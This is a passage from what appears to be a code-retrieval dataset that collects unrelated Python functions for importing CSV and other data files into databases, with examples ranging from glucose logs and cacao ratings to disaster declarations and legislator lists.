handle_csv(self):\n try:\n reader = csv.reader(open(self.options.datafile, 'r'))\n except IOError:\n errormsg(_('Cannot read \"{}\"'.format(self.options.datafile)))\n raise Exception(_('Cannot read \"{}\"'.format(self.options.datafile)))\n if self.options.var_type == 'name':\n try:\n self.header = reader.next()\n except StopIteration:\n errormsg(_('Data file \"{}\" contains no data'.format(\n self.options.datafile)))\n raise Exception(_('Data file \"{}\" contains no data'.format(\n self.options.datafile)))\n self.data = []\n for row in reader:\n self.data.append(row)","def populate(self):\n\n self.create_index()\n self.check_type()\n self.create_mapping()\n\n f = open(self.csv_file, 'rU')\n\n # Read the first line for all the headers\n headers = f.readline().split(',')\n\n # Read the rest of the document\n rows = f.readlines()\n added_counter = 0\n\n actions = []\n for row in rows:\n fields = row.split(',')\n obj = {}\n for header in headers:\n # we call lower-case here because we were originally using\n # analyzed strings in elasticsearch (and they were\n # automatically converted). Code was built based on that so it's\n # easiest to convert for now\n try:\n obj[header.replace('\\n', '')] = float(fields[\n headers.index(header)].replace('\\n', '').lower())\n except ValueError:\n obj[header.replace('\\n', '')] = fields[\n headers.index(header)].replace('\\n', '').lower()\n # check afterwards to replace empty strings with None (which json.dumps hopefully writes to null)\n if obj[header.replace('\\n', '')] == '':\n obj[header.replace('\\n', '')] = None\n try:\n item = {\n '_index': self.es_main_index,\n '_type': self.es_main_type,\n '_source': obj\n }\n\n actions.append(item)\n\n added_counter += 1\n print('%s new records added' % added_counter,\n end='\\r')\n sys.stdout.flush()\n\n if added_counter % self.chunk_size == 0:\n helpers.bulk(self.es, actions)\n actions = []\n\n except ConnectionError:\n print('There was a connection error. Check your Elastic' +\n ' Search setting and make sure Elastic Search is ' +\n 'running.')\n return False\n\n # add the remaining items\n if actions:\n helpers.bulk(self.es, actions)\n\n print('The update is completed. %s new records were added.' %\n added_counter)","def get_TECRDB_compounds_data(self):\n TECRDB_compounds_data_table = pd.read_csv('data/TECRDB_compounds_data.csv')\n #all possible information that the particular ion bound state can have\n data_entry_list = ['Cp', 'H_number', 'binding_constant', 'charge', 'dG_f', 'dH_f', 'dS_f', 'groups', 'metal_type','smiles_form','metal_number']\n for i, row in TECRDB_compounds_data_table.iterrows():\n cur_sid = row['species_id']\n cur_cid = row['compound_id']\n self.TECRDB_compounds_data_dict[cur_sid] = {'compound_id':cur_cid}\n if row['is_pH7_species'] == True:\n self.TECRDB_compounds_pH7_species_id_dict[cur_cid] = cur_sid\n if row['is_least_protonated_species'] == True:\n self.TECRDB_compounds_least_H_sid_dict[cur_cid] = cur_sid\n for data_entry in data_entry_list:\n if not pd.isnull(row[data_entry]):\n if data_entry == 'groups':\n #convert the text form of groups to python list\n cur_sid_groups = list(map(float,row['groups'].strip('[').strip(']').split(',')))\n self.TECRDB_compounds_data_dict[cur_sid]['groups'] = cur_sid_groups\n else:\n try:\n #convert value from string to float\n self.TECRDB_compounds_data_dict[cur_sid][data_entry] = float(row[data_entry])\n except ValueError:\n self.TECRDB_compounds_data_dict[cur_sid][data_entry] = row[data_entry]","def load_data(connection, insert_sql, data):\n cur = connection.cursor()\n for d in data:\n cur.execute(insert_sql, d)\n connection.commit()","def loadCSV(input_file):","def load_data(self, vacuum=False):\n logger.info('Loading phenotype data into database')\n\n try:\n for csv_file_idx, csv_file in enumerate(self.ukb_csvs):\n logger.info('Working on {}'.format(csv_file))\n\n self._create_tables_schema(csv_file, csv_file_idx)\n self._create_temporary_csvs(csv_file, csv_file_idx)\n self._load_csv()\n\n self._load_all_eids()\n self._load_bgen_samples()\n self._load_events()\n self._create_constraints()\n\n if vacuum:\n self._vacuum()\n\n except OperationalError as e:\n raise UkbRestSQLExecutionError('There was an error with the database: ' + str(e))\n except UnicodeDecodeError as e:\n logger.debug(str(e))\n raise UkbRestProgramExecutionError('Unicode decoding error when reading CSV file. Activate debug to show more details.')\n\n # delete temporary variable\n del(self._loading_tmp)\n\n logger.info('Loading finished!')","def generateCsvData(self, context, obj, entity):\n raise NotImplementedError()","def csvObj():\n CSV_URL = \"http://unitedstates.sunlightfoundation.com/legislators/legislators.csv\"\n s = requests.get(CSV_URL) # Download the csv using requests.\n reader = csv.DictReader(s.text.splitlines(), lineterminator=\"\\n\") # Use the dictreader to make a dictionary with the attribute name paired with the rows value for that attribute.\n name2twitter_id = {}\n for row in reader:\n if (row['in_office'] == \"1\" and row['twitter_id'] != \"\"):\n name = row['firstname'] + \" \" # Construct the name.\n if (row['middlename'] != \"\"): # Not all names have middle names.\n name += row['middlename'] + \" \"\n name += row['lastname']\n name2twitter_id[name] = row['twitter_id'] # Assign the name to their handle.\n del name2twitter_id[\"Tim Murphy\"] # This representative does not have an active twitter handle. \n name2twitter_id[\"Gregory W. Meeks\"] = \"RepGregoryMeeks\" # Insert this representatives twitter handle manually.\n return name2twitter_id","def parser():\n with open('misc/DisasterDeclarationsSummaries.csv') as csvfile:\n reader = csv.DictReader(csvfile)\n\n counter = 0\n\n for row in reader:\n disaster = Disaster()\n disaster.disasterNumber = make_intger(row.get('disasterNumber'))\n disaster.ihProgramDeclared = make_boolean(row.get('ihProgramDeclared'))\n disaster.iaProgramDeclared = make_boolean(row.get('iaProgramDeclared'))\n disaster.paProgramDeclared = make_boolean(row.get('paProgramDeclared'))\n disaster.hmProgramDeclared = make_boolean(row.get('hmProgramDeclared'))\n disaster.state = make_string(row.get('state'))\n disaster.declarationDate = make_datetime(row.get('declarationDate'))\n disaster.fyDeclared = make_intger(row.get('fyDeclared'))\n disaster.disasterType = make_string(row.get('disasterType'))\n disaster.incidentType = make_string(row.get('incidentType'))\n disaster.title = make_string(row.get('title'))\n disaster.incidentBeginDate = make_datetime(row.get('incidentBeginDate'))\n disaster.incidentEndDate = make_datetime(row.get('incidentEndDate'))\n disaster.disasterCloseOutDate = make_datetime(row.get('disasterCloseOutDate'))\n disaster.declaredCountyArea = make_string(row.get('declaredCountyArea'))\n disaster.placeCode = make_intger(row.get('placeCode', None))\n disaster.hash_ = make_string(row.get('hash'))\n disaster.lastRefresh = make_datetime(row.get('lastRefresh'))\n\n db.session.add(disaster)\n db.session.commit()\n\n counter += 1\n print ('Inserted {} items'.format(counter))","def post_init(cr, registry):\n import_csv_data(cr, registry)","def read_csv(self, csv_input):\n # https://stackoverflow.com/a/45063514\n dtypes = {\n 'lat': 'U',\n 'long': 'U'\n }\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''], dtype=dtypes)\n\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\n self.log.info('Data read from CSV %s' % csv_input)\n #print('Data read from CSV %s' % csv_input)","def gio_process(filename):\n\n pgconn = psycopg2.connect(database=\"sustainablecorn\")\n cursor = pgconn.cursor()\n sql = \"\"\"\n INSERT into waterquality_data(uniqueid, plotid, valid,\n sample_type, varname, value) VALUES (%s, %s, %s, %s, %s, %s)\n \"\"\"\n for i, line in enumerate(open(filename)):\n if i == 0:\n continue\n (\n uniqueid,\n plotid,\n date,\n localtime,\n sample_type,\n varname,\n value,\n ) = line.strip().split(\",\")\n if localtime == \"\":\n localtime = \"00:00\"\n ts = datetime.datetime.strptime(\n \"%s %s\" % (date, localtime), \"%Y-%m-%d %H:%M\"\n )\n offset = 6 if uniqueid in CENTRAL_TIME else 5\n ts = ts + datetime.timedelta(hours=offset)\n ts = ts.replace(tzinfo=ZoneInfo(\"UTC\"))\n cursor.execute(\n sql,\n (\n uniqueid,\n plotid,\n ts,\n sample_type,\n varname,\n (float(value) if not value.startswith(\"<\") else None),\n ),\n )\n cursor.close()\n pgconn.commit()\n pgconn.close()","def _read_dataset(self):\n import pandas as pd\n\n freesolv_path = get_data_file_path(FREESOLV_PATH)\n\n freesolv_db = pd.read_csv(freesolv_path, delimiter=';',\n skipinitialspace=True,\n skiprows=[0, 1, 2], header=0,\n names=['compound id', 'SMILES',\n 'iupac name',\n 'experimental value',\n 'experimental uncertainty',\n 'calculated value (GAFF)',\n 'calculated uncertainty',\n 'experimental reference',\n 'calculated reference',\n 'notes'])\n\n compound_ids = freesolv_db['compound id'].to_list()\n smiles_tags = freesolv_db['SMILES'].to_list()\n experimental_v = freesolv_db['experimental value'].to_list()\n return compound_ids, smiles_tags, experimental_v","def read_csv_file(file_name):\n csv_file = open(file_name, 'rb')\n rd = csv.reader(csv_file, delimiter=';',quoting=csv.QUOTE_ALL)\n\n nb_rd_rows = 0\n current_wine = {}\n columns_name = [\"name\",\"vintage\",\"appellation\",\"color\",\"wine_id\",\"item_id\",\"price\",\"degustation\",\"food_pairing\",\"food_pairing_french\",\"gws\"]\n for row in rd:\n current_object = {}\n nb_column = 0\n nb_rd_rows = nb_rd_rows + 1\n if nb_rd_rows != 1:\n for current_element in row:\n #current_element = current_element.replace(\"e\",\"e\")\n #current_element = current_element.replace(\"a\",\"a\")\n current_element = current_element.lower()\n to_add = []\n # Case of float\n if current_element[0] >= \"0\" and current_element[0] <= \"9\":\n to_add.append(adapt_type_number(current_element))\n else:\n to_add = current_element.split(',')\n for nb in range(len(to_add)):\n if '(' in to_add[nb]:\n if nb >= 1:\n special_values = to_add[nb].split(\"(\")\n to_add[nb] = special_values[0]\n to_add[nb].append(special_values[1])\n else:\n to_add[nb] = to_add[nb].replace(\"(\",\"\")\n elif ')' in to_add[nb]:\n to_add[nb] = to_add[nb].replace(\")\",\"\")\n add[nb] = add[nb].strip()\n if len(to_add) > 1:\n current_object[columns_name[nb_column]] = to_add\n elif len(to_add) == 1:\n current_object[columns_name[nb_column]] = to_add[0]\n nb_column = nb_column + 1\n if nb_rd_rows == 2:\n #current_request = re.post(API_BASE_URL, json=current_object)\n print(\"DEBUG LINE \" + str(nb_rd_rows) +\"\\n\")\n print(json.dumps(current_object))\n print(\"\\n\\n Current request:\\n\")\n #print(current_request.reason)\n print(\"\\n\\n\")","def load_products():\n\n print \"Loading Products\"\n\n for i, row in enumerate(open(\"data/mock_product_data.csv\")):\n row = row.rstrip()\n title, price, inventory = row.split(\",\")\n\n product = Product(title=title,\n price=price,\n available_inventory=inventory)\n\n db.session.add(product)\n\n db.session.commit()","def test_inserted_data(client):\n data = pd.read_csv(\"housing.csv\")\n data = format_data_housing(data)\n House.insert_from_pd(data)\n houses: DataFrame = pd.read_sql(\"SELECT * FROM house\", db.engine)\n assert len(houses) == data.shape[0]\n houses = house_results_to_dataframe(houses)\n assert_frame_equal(houses, data, check_dtype=False)","def test_csvfile_single_row_of_data(fs: FakeFilesystem) -> None:\n contents = \"\"\"\"a\",\"b\"\n1,2\"\"\"\n fs.create_file(\"test.csv\", contents=contents)\n\n adapter = CSVFile(\"test.csv\")\n\n assert adapter.get_columns() == {\n \"a\": Float(\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\n order=Order.NONE,\n exact=True,\n ),\n \"b\": Float(\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\n order=Order.NONE,\n exact=True,\n ),\n }\n assert list(adapter.get_data({}, [])) == [{\"a\": 1.0, \"b\": 2.0, \"rowid\": 0}]","def _from_gisdb(self):\n self._ways = gpd.read_postgis(sql=\"ways\", con=self._gisdb, geom_col=\"geometry\")\n self._nodes = pd.read_sql(sql=\"nodes\", con=self._gisdb)\n self._edges = pd.read_sql(sql=\"graph_edges\", con=self._gisdb)\n # graph_nodes = gpd.read_postgis(sql=\"graph_nodes\", con=self._gisdb, geom_col=\"geometry\")","def _get_data(self):\n with open(self.filename, 'r') as fid:\n # we are not interested in the first line\n fid.readline()\n # second line\n line = fid.readline().strip()\n # the temperature is written in milli-degrees in the form\n # t=23456, but preceeded by a large HEX data dump in the form\n # 2c 00 4b 46 ff ff 0e 10 17 t=21875\n index = line.find('t=') + 2\n temperature = int(line[index:index + 6]) / 1e3\n time_now = self.get_timestamp()\n\n logging.debug(\n 'w1_temp: {0}, datetime: {1}, logger_id: {2}'.format(\n temperature,\n time_now,\n self.logger_id))\n\n ins = self.table(value=temperature,\n logger_id=self.logger_id,\n datetime=time_now)\n\n self.session.add(ins)\n self.session.commit()"],"string":"[\n \"def import_glucose_from_csv(user, csv_file):\\n csv_data = []\\n reader = csv.reader(csv_file.read().splitlines(), delimiter=',',\\n quotechar='\\\"')\\n for row in reader:\\n csv_data.append([item.strip() for item in row])\\n\\n glucose_objects = []\\n\\n # Check if headers exists. Skip the first entry if true.\\n header_check = ['value', 'category', 'date', 'time']\\n first_row = [i.lower().strip() for i in csv_data[0]]\\n if all(i in first_row for i in header_check):\\n csv_data = csv_data[1:]\\n\\n for row in csv_data:\\n # Let's do an extra check to make sure the row is not empty.\\n if row:\\n try:\\n category = Category.objects.get(name__iexact=row[1].strip())\\n except ObjectDoesNotExist:\\n category = Category.objects.get(name__iexact='No Category'.strip())\\n\\n # Since we always store the value in mg/dL format in the db, we need\\n # to make sure we convert it here if the user's setting is set to\\n # mmol/L.\\n if user.settings.glucose_unit.name == 'mmol/L':\\n value = int(to_mg(row[0]))\\n else:\\n value = int(row[0])\\n\\n glucose_objects.append(Glucose(\\n user=user,\\n value=value,\\n category=category,\\n record_date=datetime.strptime(row[2], DATE_FORMAT),\\n record_time=datetime.strptime(row[3], TIME_FORMAT),\\n notes=row[4],\\n ))\\n\\n Glucose.objects.bulk_create(glucose_objects)\",\n \"def dataLoad():\\n try:\\n try: #Python3\\n f = open(__file__ + \\\".csv\\\",\\\"rt\\\")\\n except: #Python2\\n f = open(__file__ + \\\".csv\\\",\\\"rb\\\")\\n data = f.read().split(',')\\n entryCol.entry0.delete(0,END)\\n entryCol.entry0.insert(0,data[0])\\n entryCol.entry1.delete(0,END)\\n entryCol.entry1.insert(0,data[1])\\n entryCol.entry2.delete(0,END)\\n entryCol.entry2.insert(0,data[2])\\n entryCol.entry3.delete(0,END)\\n entryCol.entry3.insert(0,data[3])\\n botWind.writeN(\\\"DataLoad: File\\\")\\n except:\\n botWind.writeN(\\\"DataLoad: Default\\\")\",\n \"def importer():\\n\\n #Lager liste der eg legg transaksjonar som blir henta og ikkje laga:\\n get_list = []\\n\\n #Gjer txt-fila i mappen om til csv-fil\\n file_fixer()\\n\\n with open(out_path) as file:\\n reader = csv.reader(file)\\n r_0 = next(reader)\\n r_0.append(\\\"type\\\")\\n r_0.append('amount')\\n r_0.append('category')\\n r_0.append('account')\\n r_0.append('project')\\n\\n\\n for row in reader:\\n #Legger til dei fire kollonenne (amount, account, subaacount, project), tomme.\\n row.append(\\\"\\\")\\n row.append(\\\"\\\")\\n\\n #Omformatterer rader:\\n row = format_fix(row)\\n row.append(\\\"\\\")\\n row.append(\\\"\\\")\\n row.append(\\\"\\\")\\n print(row)\\n\\n\\n try:\\n obj, created = Transaction.objects.get_or_create(\\n date=row[0],\\n transaction_type=row[1],\\n description=row[2],\\n amount=row[3]\\n )\\n\\n except Transaction.MultipleObjectsReturned:\\n continue\\n\\n if not created:\\n get_list.append(obj.pk)\\n\\n return get_list\",\n \"def __loaddata(filename, datatype='flightcsv', minprob=0.001, maxprob=0.20):\\n if datatype is 'flightcsv':\\n return extract_flight_csv(filename, minprob=minprob, maxprob=maxprob)\\n else:\\n raise Exception('unknown datatype %s' % datatype)\",\n \"def _importInDjango(self):\\n\\n with open(settings.DATA_PATH, 'r', encoding='latin-1') as csv_file:\\n reader = csv.DictReader(csv_file, delimiter=';')\\n for raw in reader:\\n\\n # Créer ou mettre à jour la division\\n division, created = Division.objects.get_or_create(\\n nom=raw['Division']\\n )\\n if created:\\n self.stdout.write(\\n 'Divion {} ajoutée'.format(division.nom)\\n )\\n\\n # Créer ou mettre à jour les équipes\\n equipeDom, created = Equipe.objects.get_or_create(\\n nom=raw['Equipe 1'],\\n division=division\\n )\\n if created:\\n self.stdout.write(\\n 'Equipe {} ajoutée'.format(equipeDom.nom)\\n )\\n\\n equipeExt, created = Equipe.objects.get_or_create(\\n nom=raw['Equipe 2'],\\n division=division\\n )\\n if created:\\n self.stdout.write(\\n 'Equipe {} ajoutée'.format(equipeExt.nom)\\n )\\n\\n # Créer ou mettre à jour la rencontre\\n scoreDom = 0 if raw['Score 1'] == '' else int(raw['Score 1'])\\n scoreExt = 0 if raw['Score 2'] == '' else int(raw['Score 2'])\\n forfaitDom = True if raw['Forfait 1'] == 'true' else False\\n forfaitExt = True if raw['Forfait 2'] == 'true' else False\\n date = datetime.datetime.strptime(raw['Date de rencontre'], '%d/%m/%Y')\\n heure = datetime.datetime.strptime(raw['Heure'], '%H:%M')\\n rencontre, created = Rencontre.objects.update_or_create(\\n numero=int(raw['N° de match']),\\n equipeDom=equipeDom,\\n equipeExt=equipeExt,\\n defaults={\\n 'date': date,\\n 'heure': heure,\\n 'scoreDom': scoreDom,\\n 'scoreExt': scoreExt,\\n 'forfaitDom': forfaitDom,\\n 'forfaitExt': forfaitExt,\\n }\\n )\\n if created:\\n self.stdout.write(\\n 'Rencontre {} / {} ajoutée'.format(\\n rencontre.equipeDom,\\n rencontre.equipeExt\\n )\\n )\",\n \"def load(*args):\\r\\n\\r\\n #args[0].to_csv(str(PATH.joinpath('./data/{}.csv'.format(args[1]))),index=False)\\r\\n\\r\\n try: # it will fail if duplicates\\r\\n args[0].to_sql('cmf', con=engine, if_exists='append', index=False)\\r\\n except:\\r\\n pass\",\n \"def importData():\\n #importChallengeDataToDB()\\n importTrendingDataToDB()\",\n \"def load_records():\\n\\n with open('seed_data/records.csv', 'rb') as csvfile:\\n data = csv.reader(csvfile)\\n for row in data:\\n record_id, user_id, common_name, date_time, latitude, longitude, notes, seen, num_birds = row\\n\\n record = Record(record_id=record_id, user_id=user_id, common_name=common_name,\\n date_time=date_time, latitude=latitude, longitude=longitude, \\n notes=notes, seen=seen, num_birds=num_birds)\\n\\n db.session.add(record)\\n\\n db.session.commit()\",\n \"def load_equipment():\\n\\n for row in open(\\\"static/equipment.csv\\\"):\\n row = row.rstrip()\\n \\n gear_name, category, brand, lender_email, zipcode, gear_photo, gear_photo_url = row.split(\\\",\\\")\\n\\n equipment = Equipment(\\n gear_name=gear_name,\\n category=category,\\n brand=brand,\\n lender_email=lender_email,\\n zipcode=zipcode,\\n gear_photo=gear_photo,\\n gear_photo_url=gear_photo_url)\\n\\n db.session.add(equipment)\\n \\n\\n db.session.commit()\",\n \"def load():\\n filepath = dirname(abspath(__file__))\\n data = recfromtxt(filepath + '/scotvote.csv', delimiter=\\\",\\\",\\n names=True, dtype=float, usecols=(1,2,3,4,5,6,7,8))\\n names = list(data.dtype.names)\\n endog = array(data[names[0]], dtype=float)\\n endog_name = names[0]\\n exog = column_stack(data[i] for i in names[1:]).astype(float)\\n exog_name = names[1:]\\n dataset = Dataset(data=data, names=names, endog=endog, exog=exog,\\n endog_name = endog_name, exog_name=exog_name)\\n return dataset\",\n \"def prepare_CSV(self):\\n self.drop_columns()\\n self.rename_columns()\\n self.spilt_columns()\\n self.add_vehicle_id_column()\\n self.add_source_column()\\n self.add_timestamp_columns()\\n self.get_colour_columns()\\n self.clean_column_formats()\\n\\n # print(self.data.info())\\n # print(self.data.sample(10))\\n\\n return self.data\",\n \"def from_csv(self, path):\\n for model, table in [(self.Dataset, 'dataset'),\\n (self.Datarun, 'datarun'),\\n (self.Hyperpartition, 'hyperpartition'),\\n (self.Classifier, 'classifier')]:\\n df = pd.read_csv(os.path.join(path, '%ss.csv' % table))\\n\\n # parse datetime columns. This is necessary because SQLAlchemy can't\\n # interpret strings as datetimes on its own.\\n # yes, this is the easiest way to do it\\n for c in inspect(model).attrs:\\n if type(c) != ColumnProperty:\\n continue\\n col = c.columns[0]\\n if type(col.type) == DateTime:\\n df[c.key] = pd.to_datetime(df[c.key],\\n infer_datetime_format=True)\\n\\n for _, r in df.iterrows():\\n # replace NaN and NaT with None\\n for k, v in list(r.iteritems()):\\n if pd.isnull(v):\\n r[k] = None\\n\\n # insert the row into the database\\n create_func = getattr(self, 'create_%s' % table)\\n create_func(**r)\",\n \"def open_file():\\r\\n\\tr_ct = 0\\r\\n\\t\\r\\n\\twith open('flavors_of_cacao.csv', 'r') as csvfile:\\r\\n\\t\\tcacao_stream = csv.DictReader(csvfile)\\r\\n\\t\\tfor cacao_row in cacao_stream:\\r\\n\\t\\t\\tr_ct += 1\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t#quit after 100 records\\r\\n\\t\\t\\tif r_ct > 100:\\r\\n\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t#pull the data out of the dictionary for sqlite3\\r\\n\\t\\t\\tt_Company = cacao_row['Company']\\r\\n\\t\\t\\tt_Specific_Bean_Origin = cacao_row['Specific_Bean_Origin']\\r\\n\\t\\t\\tt_REF = cacao_row['REF']\\r\\n\\t\\t\\tt_Review = cacao_row['Review']\\r\\n\\t\\t\\tt_Cocoa = cacao_row['Cocoa']\\r\\n\\t\\t\\tt_Location = cacao_row['Location']\\r\\n\\t\\t\\tt_Rating = cacao_row['Rating']\\r\\n\\t\\t\\tt_Bean = cacao_row['Bean']\\r\\n\\t\\t\\tt_Broad_Bean_Origin = cacao_row['Broad_Bean_Origin']\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t#print the first 15 lines\\r\\n\\t\\t\\tif r_ct <= 15:\\r\\n\\t\\t\\t\\tprint (r_ct, t_Company, t_Bean, t_Cocoa, t_Review)\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t#creates a sql cursor, formats the insert sql and executes it\\r\\n\\t\\t\\tc = conn.cursor()\\r\\n\\t\\t\\tstrsql = \\\"\\\"\\\"\\r\\n\\t\\t\\t\\tINSERT INTO cacao\\r\\n\\t\\t\\t\\t\\t(Company, Specific_Bean_Origin, REF, Review, Cocoa, Location, Rating, Bean, Broad_Bean_Origin)\\r\\n\\t\\t\\t\\tvalues (\\r\\n\\t\\t\\t\\t\\t'{t_Company}', '{t_Specific_Bean_Origin}', '{t_REF}', '{t_Review}', '{t_Cocoa}', '{t_Location}', '{t_Rating}', '{t_Bean}', '{t_Broad_Bean_Origin}');\\r\\n\\t\\t\\t\\t\\\"\\\"\\\".format(\\r\\n\\t\\t\\t\\t\\tt_Company = t_Company,\\r\\n\\t\\t\\t\\t\\tt_Specific_Bean_Origin = t_Specific_Bean_Origin,\\r\\n\\t\\t\\t\\t\\tt_REF = t_REF,\\r\\n\\t\\t\\t\\t\\tt_Review = t_Review,\\r\\n\\t\\t\\t\\t\\tt_Cocoa = t_Cocoa,\\r\\n\\t\\t\\t\\t\\tt_Location = t_Location,\\r\\n\\t\\t\\t\\t\\tt_Rating = t_Rating,\\r\\n\\t\\t\\t\\t\\tt_Bean = t_Bean,\\r\\n\\t\\t\\t\\t\\tt_Broad_Bean_Origin = t_Broad_Bean_Origin\\r\\n\\t\\t\\t\\t\\t)\\r\\n\\t\\t\\tc.execute(strsql)\\r\\n\\t\\t\\tconn.commit()\",\n \"def importGPX(gpxFile, gpxLayerFilter, pgConn):\\r\\n\\r\\n def ogrCreateLayer(sourceLayer, pgConn, destinationLayer):\\r\\n \\\"\\\"\\\"Create an empty table with the schema derived from the GPX feature type\\\"\\\"\\\"\\r\\n print \\\" Creating {0}\\\".format(destinationLayer)\\r\\n newLayer = pgConn.CreateLayer(destinationLayer)\\r\\n\\r\\n lyrDefn = sourceLayer.GetLayerDefn()\\r\\n for i in range( lyrDefn.GetFieldCount() ):\\r\\n ##print \\\"Creating field: {0}\\\".format(lyrDefn.GetFieldDefn( i ).GetName())\\r\\n\\r\\n fieldName = lyrDefn.GetFieldDefn( i ).GetName()\\r\\n fieldType = lyrDefn.GetFieldDefn( i ).GetType()\\r\\n newField = ogr.FieldDefn(fieldName, fieldType)\\r\\n newLayer.CreateField(newField)\\r\\n\\r\\n def ogrAppendFeatures(gpxFile, sourceLayer, destinationLayer):\\r\\n \\\"\\\"\\\"Append GPX features to existing table based on feature type\\\"\\\"\\\"\\r\\n\\r\\n ##print \\\"Starting transaction for: {0}\\\".format(destinationLayer.GetName())\\r\\n print \\\" Importing {0}: {1} features\\\".format(sourceLayer.GetName(), sourceLayer.GetFeatureCount())\\r\\n fName = os.path.basename(gpxFile)\\r\\n destinationLayer.StartTransaction()\\r\\n for x in xrange(sourceLayer.GetFeatureCount()):\\r\\n sourceFeature = sourceLayer.GetNextFeature()\\r\\n ##print \\\"inserting record\\\"\\r\\n sourceFeature.SetFID(-1)\\r\\n sourceFeature.SetField(\\\"src\\\", fName)\\r\\n destinationLayer.CreateFeature(sourceFeature)\\r\\n\\r\\n #Commit the new features to the database\\r\\n ##print \\\" Committing transaction for: {0}\\\".format(destinationLayer.GetName())\\r\\n destinationLayer.CommitTransaction()\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n # Establish a connection to a GPX file\\r\\n print \\\"Reading {0}\\\".format(gpxFile)\\r\\n try:\\r\\n datasource = ogr.Open(gpxFile)\\r\\n if datasource == None:\\r\\n print \\\" WARNING: Could not read {0}. Skipping...\\\".format(gpxFile)\\r\\n return None\\r\\n\\r\\n for i in range(datasource.GetLayerCount()):\\r\\n ##print datasource.GetLayer(i).GetName(),\\\" :\\\", datasource.GetLayer(i).GetFeatureCount()\\r\\n\\r\\n if datasource.GetLayer(i).GetName() not in gpxLayerFilter:\\r\\n print \\\" Skipping {0}: User filtered\\\".format(datasource.GetLayer(i).GetName())\\r\\n elif datasource.GetLayer(i).GetFeatureCount() == 0:\\r\\n print \\\" Skipping {0}: 0 features\\\".format(datasource.GetLayer(i).GetName())\\r\\n else:\\r\\n inLayer = datasource.GetLayer(i)\\r\\n outLayer = \\\"{0}.{1}\\\".format(dbSchema, inLayer.GetName())\\r\\n\\r\\n if pgConn.GetLayerByName(outLayer) == None:\\r\\n #If layer does not already exist, copy source schema + features to destination\\r\\n ogrCreateLayer(inLayer, pgConn, outLayer)\\r\\n\\r\\n #If layer does exist, copy source **features** to the destination\\r\\n ogrAppendFeatures(gpxFile, inLayer,pgConn.GetLayerByName(outLayer))\\r\\n\\r\\n del datasource\\r\\n\\r\\n\\r\\n except Exception, e:\\r\\n print e.args\",\n \"def load_expenditures():\\n\\n Expenditure.query.delete()\\n\\n with open(expenditure_file) as f:\\n for _ in range(1):\\n next(f)\\n \\n for row in f:\\n row = row.rstrip()\\n expenditure_data = row.split(\\\",\\\")\\n print(expenditure_data)\\n\\n id = expenditure_data[0]\\n category_id = expenditure_data[1]\\n price = expenditure_data[2]\\n date_of_expenditure = expenditure_data[3]\\n expenditure_userid = expenditure_data[4]\\n where_bought = expenditure_data[5]\\n description = expenditure_data[6]\\n\\n expenditure = Expenditure(\\n id = id,\\n category_id = category_id,\\n price = price,\\n date_of_expenditure = get_datetime(date_of_expenditure),\\n expenditure_userid = expenditure_userid,\\n where_bought = where_bought,\\n description = description\\n )\\n\\n db.session.add(expenditure)\\n\\n db.session.commit()\",\n \"def csv_reader(file_obj):\\n global gagnant\\n global gain\\n # le tableau qui contient les gagnants\\n reader = csv.reader(file_obj, delimiter=';')\\n gagnant = next(reader)\\n gain = next(reader)\\n gagnant = [list(map(int,gagnant))]\\n gagnant=gagnant[0]\\n gain = [list(map(int,gain))]\\n gain=gain[0]\",\n \"def __init__(self,csvrow):\\n self.raw = csvrow\\n data = csvrow.split(',')\\n self.number = data[0]\\n self.area = int(data[1])\\n self.population = int(data[5])\\n self.latitude = float(data[7])\\n self.longitude = float(data[8])\",\n \"def __load_csv_into_mem(label, exp, obj, norms):\\n filename = obj.get('file')\\n # def csv_loader\\n label_pos = obj.get('label', 'first')\\n if label_pos == 'first':\\n label_first = True\\n else:\\n label_first = False\\n\\n labels = []\\n\\n def get_element_from_csv():\\n def callback(dim, lbl):\\n CSVDataset.__load_csv_into_mem.dimension = dim - 1\\n for l in lbl:\\n labels.append(l)\\n\\n with open(filename, 'r') as f:\\n for i in CSVDataset.__get_element_from_file__(csv.reader(f), label_first, norms, callback):\\n yield i\\n\\n input_data = np.fromiter(get_element_from_csv(), dtype=np.float32)\\n dimension = CSVDataset.__load_csv_into_mem.dimension\\n input_data = input_data.reshape((-1, dimension))\\n # print input_data[0]\\n labels = np.asarray(labels, 'int32')\\n kwargs = {}\\n if 'batches' not in kwargs:\\n b = getattr(exp.args, '%s_batches' % label, None)\\n kwargs['batches'] = b\\n if 'size' not in kwargs:\\n kwargs['size'] = exp.args.batch_size\\n kwargs['label'] = label\\n return SequenceDataset(*(input_data, labels), **kwargs)\",\n \"def load_products_data(connection, csvfile):\\n insert_sql = 'insert into products (id, description, genres) ' \\\\\\n 'values (%s, %s, %s)'\\n load_data(connection, insert_sql, get_data_from_file(csvfile))\",\n \"def load():\\n filepath = dirname(abspath(__file__))\\n##### EDIT THE FOLLOWING TO POINT TO DatasetName.csv #####\\n data = recfromtxt(open(filepath + '/spector.csv',\\\"rb\\\"), delimiter=\\\" \\\",\\n names=True, dtype=float, usecols=(1,2,3,4))\\n names = list(data.dtype.names)\\n endog = array(data[names[3]], dtype=float)\\n endog_name = names[3]\\n exog = column_stack(data[i] for i in names[:3]).astype(float)\\n exog_name = names[:3]\\n dataset = Dataset(data=data, names=names, endog=endog, exog=exog,\\n endog_name = endog_name, exog_name=exog_name)\\n return dataset\",\n \"def main():\\n # Schema for permanent DB\\n schema = 'ZTF'\\n \\n # File names for output\\n fname_cls = os.path.join(data_dir, 'ObjectClass.csv')\\n fname_obj = os.path.join(data_dir, 'Object.csv')\\n fname_det = os.path.join(data_dir, 'Detection.csv')\\n\\n # For each table, three tasks:\\n # (1) Extract the data\\n # (2) Save as CSV file(s)\\n # (3) Insert into KeplerDB.ZTF database schema\\n\\n # Process ObjectClass table\\n df_cls = load_ztf_classes()\\n df_cls.to_csv(fname_cls, index=False)\\n csv2db(schema=schema, table='ObjectClass', columns=columns_cls, fname_csv=fname_cls)\\n\\n # The last object code already in the DB\\n min_object_cd = str(sp2df('ZTF.GetObjectLast').LastObjectCD[0])\\n 